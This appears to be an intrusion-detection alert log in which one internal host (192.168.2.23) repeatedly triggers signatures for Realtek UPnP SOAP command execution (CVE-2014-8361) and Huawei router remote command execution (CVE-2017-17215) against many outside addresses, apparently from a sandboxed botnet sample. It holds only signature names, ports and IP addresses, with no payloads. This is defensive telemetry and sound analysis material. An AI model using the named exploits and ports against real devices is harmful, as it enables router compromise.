07/20/24-23:01:48.560945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49348	52869	192.168.2.23	63.196.31.124
07/20/24-23:01:12.834603	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50948	52869	192.168.2.23	50.114.115.150
07/20/24-23:01:44.602822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33086	52869	192.168.2.23	46.141.217.184
07/20/24-23:01:25.689098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54750	52869	192.168.2.23	106.220.99.163
07/20/24-23:01:44.320661	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53926	52869	192.168.2.23	91.202.203.164
07/20/24-23:01:31.312895	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50844	52869	192.168.2.23	32.85.156.168
07/20/24-23:01:45.472422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51862	52869	192.168.2.23	9.210.224.238
07/20/24-23:01:40.334933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35134	37215	192.168.2.23	197.37.97.174
07/20/24-23:01:54.246583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44988	52869	192.168.2.23	160.206.110.41
07/20/24-23:01:44.295391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48558	52869	192.168.2.23	139.2.152.124
07/20/24-23:01:42.608320	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49086	52869	192.168.2.23	37.169.126.92
07/20/24-23:02:05.547419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39674	52869	192.168.2.23	59.51.41.229
07/20/24-23:02:14.779973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54124	52869	192.168.2.23	108.55.210.200
07/20/24-23:01:48.317366	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51816	52869	192.168.2.23	34.173.234.248
07/20/24-23:01:44.252201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34886	52869	192.168.2.23	66.96.161.223
07/20/24-23:01:31.312611	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49188	52869	192.168.2.23	48.111.4.84
07/20/24-23:01:34.046616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41740	37215	192.168.2.23	197.7.45.224
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36896	37215	192.168.2.23	197.42.191.226
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59644	37215	192.168.2.23	41.78.231.116
07/20/24-23:01:51.060408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34238	52869	192.168.2.23	129.173.36.90
07/20/24-23:01:13.589327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43516	52869	192.168.2.23	51.20.137.216
07/20/24-23:01:08.638879	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51800	52869	192.168.2.23	46.176.142.26
07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43212	37215	192.168.2.23	157.226.178.202
07/20/24-23:01:31.327540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57014	52869	192.168.2.23	179.142.123.85
07/20/24-23:01:49.721561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39272	52869	192.168.2.23	208.98.159.35
07/20/24-23:01:52.878047	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43212	52869	192.168.2.23	189.225.243.103
07/20/24-23:01:42.530468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59786	52869	192.168.2.23	221.195.248.226
07/20/24-23:00:59.148144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47490	37215	192.168.2.23	157.211.128.165
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49900	37215	192.168.2.23	206.228.241.87
07/20/24-23:01:27.660099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52316	37215	192.168.2.23	209.25.89.22
07/20/24-23:01:04.053605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38846	37215	192.168.2.23	157.57.185.177
07/20/24-23:01:46.525128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45820	52869	192.168.2.23	82.187.47.45
07/20/24-23:01:58.755147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51278	52869	192.168.2.23	131.14.182.74
07/20/24-23:01:12.807102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54648	52869	192.168.2.23	57.137.225.59
07/20/24-23:01:52.992845	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48958	52869	192.168.2.23	76.71.172.39
07/20/24-23:01:50.955471	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46232	52869	192.168.2.23	206.46.247.134
07/20/24-23:01:08.619597	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40584	52869	192.168.2.23	207.112.16.238
07/20/24-23:01:40.334934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41534	37215	192.168.2.23	197.177.151.139
07/20/24-23:01:49.553791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33484	52869	192.168.2.23	24.80.173.172
07/20/24-23:01:02.059312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44342	37215	192.168.2.23	197.72.210.161
07/20/24-23:01:45.179680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59814	52869	192.168.2.23	133.159.36.252
07/20/24-23:01:44.837054	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56282	52869	192.168.2.23	155.161.7.211
07/20/24-23:02:04.208558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55192	52869	192.168.2.23	113.102.84.222
07/20/24-23:01:00.648489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56996	37215	192.168.2.23	41.39.168.222
07/20/24-23:02:12.082957	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33200	52869	192.168.2.23	67.40.156.6
07/20/24-23:01:08.572556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33738	52869	192.168.2.23	75.207.187.133
07/20/24-23:01:08.700029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44644	52869	192.168.2.23	174.56.72.194
07/20/24-23:01:42.479337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43420	52869	192.168.2.23	204.114.85.200
07/20/24-23:01:42.928503	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35990	52869	192.168.2.23	202.8.238.183
07/20/24-23:01:55.572517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43378	52869	192.168.2.23	14.190.237.146
07/20/24-23:01:00.639011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50384	37215	192.168.2.23	41.203.224.247
07/20/24-23:01:52.609463	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57762	52869	192.168.2.23	173.172.122.41
07/20/24-23:01:10.406934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55706	37215	192.168.2.23	143.197.81.99
07/20/24-23:01:11.818842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35052	37215	192.168.2.23	41.84.101.199
07/20/24-23:01:27.729822	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47494	37215	192.168.2.23	157.212.32.19
07/20/24-23:00:57.221583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44458	37215	192.168.2.23	157.170.128.9
07/20/24-23:01:34.044717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51614	37215	192.168.2.23	171.231.69.230
07/20/24-23:01:48.016319	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41614	52869	192.168.2.23	101.157.175.20
07/20/24-23:01:08.639622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57320	52869	192.168.2.23	25.0.169.170
07/20/24-23:01:45.625081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59666	52869	192.168.2.23	73.50.29.53
07/20/24-23:01:02.117244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35798	52869	192.168.2.23	207.30.132.8
07/20/24-23:01:44.520226	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52308	52869	192.168.2.23	108.210.234.252
07/20/24-23:01:03.199235	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49528	52869	192.168.2.23	46.176.142.26
07/20/24-23:01:24.889164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47164	37215	192.168.2.23	197.79.73.48
07/20/24-23:01:08.572790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49150	52869	192.168.2.23	13.18.63.141
07/20/24-23:00:59.163619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45012	37215	192.168.2.23	157.20.27.216
07/20/24-23:01:43.206220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46404	52869	192.168.2.23	208.81.102.220
07/20/24-23:01:53.484243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48602	52869	192.168.2.23	171.210.140.181
07/20/24-23:01:04.430069	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59360	52869	192.168.2.23	117.76.49.30
07/20/24-23:01:42.799973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41598	52869	192.168.2.23	32.163.145.253
07/20/24-23:01:44.052569	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34074	52869	192.168.2.23	31.0.108.140
07/20/24-23:01:40.301143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53018	37215	192.168.2.23	157.199.208.242
07/20/24-23:01:41.258056	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44682	52869	192.168.2.23	152.44.195.237
07/20/24-23:01:45.887574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53000	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:52.883801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55112	52869	192.168.2.23	128.145.135.61
07/20/24-23:01:57.560388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50314	52869	192.168.2.23	67.31.108.66
07/20/24-23:01:31.325694	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40536	52869	192.168.2.23	24.238.134.176
07/20/24-23:01:45.967403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46110	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:41.604763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58346	52869	192.168.2.23	122.124.32.89
07/20/24-23:01:42.033190	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48642	52869	192.168.2.23	164.216.180.24
07/20/24-23:01:31.326982	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60500	52869	192.168.2.23	70.211.204.245
07/20/24-23:01:31.999991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43104	37215	192.168.2.23	197.255.148.186
07/20/24-23:01:08.607816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33276	52869	192.168.2.23	34.184.40.220
07/20/24-23:01:26.023836	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43992	52869	192.168.2.23	36.230.221.168
07/20/24-23:01:52.006905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38194	52869	192.168.2.23	47.192.243.189
07/20/24-23:01:02.127340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37594	37215	192.168.2.23	197.25.159.41
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45144	37215	192.168.2.23	41.77.106.70
07/20/24-23:01:11.631549	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37214	37215	192.168.2.23	167.255.64.127
07/20/24-23:01:31.327808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46250	52869	192.168.2.23	49.81.102.7
07/20/24-23:01:52.826575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42546	52869	192.168.2.23	9.230.247.23
07/20/24-23:01:43.123752	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37998	52869	192.168.2.23	200.2.226.98
07/20/24-23:01:46.150064	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34880	52869	192.168.2.23	42.202.134.116
07/20/24-23:01:46.556921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50918	52869	192.168.2.23	27.31.121.159
07/20/24-23:01:24.732773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53080	52869	192.168.2.23	23.131.141.174
07/20/24-23:01:44.881853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41344	52869	192.168.2.23	223.51.209.65
07/20/24-23:01:45.713934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37610	52869	192.168.2.23	90.150.161.105
07/20/24-23:01:43.260197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42514	52869	192.168.2.23	64.107.44.177
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53032	37215	192.168.2.23	197.116.102.178
07/20/24-23:01:41.722890	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38548	52869	192.168.2.23	35.242.111.156
07/20/24-23:00:57.222009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36512	37215	192.168.2.23	157.21.67.49
07/20/24-23:02:03.068984	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52552	52869	192.168.2.23	48.103.95.129
07/20/24-23:01:42.719940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37788	52869	192.168.2.23	132.116.164.169
07/20/24-23:01:42.854322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46292	52869	192.168.2.23	132.102.241.51
07/20/24-23:01:50.176893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41980	52869	192.168.2.23	67.179.229.220
07/20/24-23:01:31.976649	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40180	37215	192.168.2.23	157.190.18.125
07/20/24-23:01:46.143923	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44316	52869	192.168.2.23	64.151.112.79
07/20/24-23:02:14.686790	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35484	52869	192.168.2.23	92.131.8.148
07/20/24-23:01:42.786028	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56518	52869	192.168.2.23	200.107.251.119
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42160	37215	192.168.2.23	197.19.178.39
07/20/24-23:01:49.277117	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58846	52869	192.168.2.23	216.9.135.122
07/20/24-23:01:04.595913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52276	52869	192.168.2.23	91.233.41.28
07/20/24-23:02:53.715694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33080	52869	192.168.2.23	209.124.7.215
07/20/24-23:01:50.901722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32886	52869	192.168.2.23	141.38.115.93
07/20/24-23:01:06.990165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44634	37215	192.168.2.23	197.78.251.102
07/20/24-23:01:47.248064	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51126	52869	192.168.2.23	182.240.112.154
07/20/24-23:01:43.965873	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51534	52869	192.168.2.23	202.170.123.220
07/20/24-23:02:35.459810	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34686	52869	192.168.2.23	173.18.107.141
07/20/24-23:01:47.047497	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32834	52869	192.168.2.23	112.206.146.120
07/20/24-23:01:50.418920	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56400	52869	192.168.2.23	79.45.122.255
07/20/24-23:01:34.044223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50138	37215	192.168.2.23	41.19.208.214
07/20/24-23:01:08.679677	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56988	52869	192.168.2.23	105.183.167.212
07/20/24-23:01:42.580745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42542	52869	192.168.2.23	1.216.69.165
07/20/24-23:01:02.140869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59542	52869	192.168.2.23	75.207.187.133
07/20/24-23:01:13.972649	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47400	52869	192.168.2.23	113.195.103.231
07/20/24-23:01:42.709583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48606	52869	192.168.2.23	155.110.172.241
07/20/24-23:02:21.004725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58336	52869	192.168.2.23	102.251.132.142
07/20/24-23:01:34.045143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47788	37215	192.168.2.23	41.244.254.171
07/20/24-23:01:34.053061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36910	37215	192.168.2.23	134.205.144.234
07/20/24-23:01:53.199976	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48278	52869	192.168.2.23	89.25.147.2
07/20/24-23:02:21.004725	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56508	52869	192.168.2.23	125.106.198.203
07/20/24-23:01:34.046616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60776	37215	192.168.2.23	102.164.167.66
07/20/24-23:01:41.637960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55360	52869	192.168.2.23	80.104.187.148
07/20/24-23:01:40.285038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38206	37215	192.168.2.23	158.207.166.74
07/20/24-23:01:55.366575	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33730	52869	192.168.2.23	112.243.101.70
07/20/24-23:01:43.173843	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48376	52869	192.168.2.23	64.190.167.168
07/20/24-23:01:44.670285	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55610	52869	192.168.2.23	111.85.168.68
07/20/24-23:01:41.286911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33388	52869	192.168.2.23	100.224.33.210
07/20/24-23:01:42.612377	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60004	52869	192.168.2.23	85.78.48.17
07/20/24-23:02:02.671155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49994	52869	192.168.2.23	58.121.119.159
07/20/24-23:01:42.869520	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58910	52869	192.168.2.23	160.195.41.193
07/20/24-23:01:43.260197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45464	52869	192.168.2.23	146.167.250.116
07/20/24-23:01:20.150638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56188	37215	192.168.2.23	114.205.87.78
07/20/24-23:02:00.413915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38334	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:53.353271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59452	52869	192.168.2.23	179.153.61.251
07/20/24-23:01:51.288562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38350	52869	192.168.2.23	20.232.50.163
07/20/24-23:01:40.321300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60714	37215	192.168.2.23	157.183.64.132
07/20/24-23:01:03.072080	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56664	52869	192.168.2.23	107.75.193.125
07/20/24-23:01:45.063335	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51140	52869	192.168.2.23	47.135.155.164
07/20/24-23:01:42.869521	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56828	52869	192.168.2.23	42.7.66.220
07/20/24-23:01:41.360712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37410	52869	192.168.2.23	47.35.34.220
07/20/24-23:01:20.175900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36122	37215	192.168.2.23	197.188.204.57
07/20/24-23:01:45.075399	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35962	52869	192.168.2.23	162.100.122.131
07/20/24-23:01:59.092655	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53282	52869	192.168.2.23	74.245.76.95
07/20/24-23:01:44.082683	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49892	52869	192.168.2.23	79.95.218.159
07/20/24-23:01:45.078337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40646	52869	192.168.2.23	75.147.225.215
07/20/24-23:01:48.181097	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34490	52869	192.168.2.23	137.66.212.197
07/20/24-23:01:08.584506	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57902	52869	192.168.2.23	143.198.233.204
07/20/24-23:01:25.535708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41514	52869	192.168.2.23	151.115.197.13
07/20/24-23:01:40.290003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44010	37215	192.168.2.23	220.248.218.41
07/20/24-23:01:31.975158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58822	37215	192.168.2.23	181.88.221.210
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37002	37215	192.168.2.23	41.222.246.61
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52632	37215	192.168.2.23	197.12.37.150
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59270	37215	192.168.2.23	13.40.75.19
07/20/24-23:01:42.470759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44516	52869	192.168.2.23	192.12.11.101
07/20/24-23:01:43.970621	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51010	52869	192.168.2.23	173.1.18.208
07/20/24-23:01:48.701127	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52112	52869	192.168.2.23	174.95.107.188
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58660	37215	192.168.2.23	197.114.190.173
07/20/24-23:01:42.159489	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52240	52869	192.168.2.23	43.168.154.99
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45666	37215	192.168.2.23	157.217.202.87
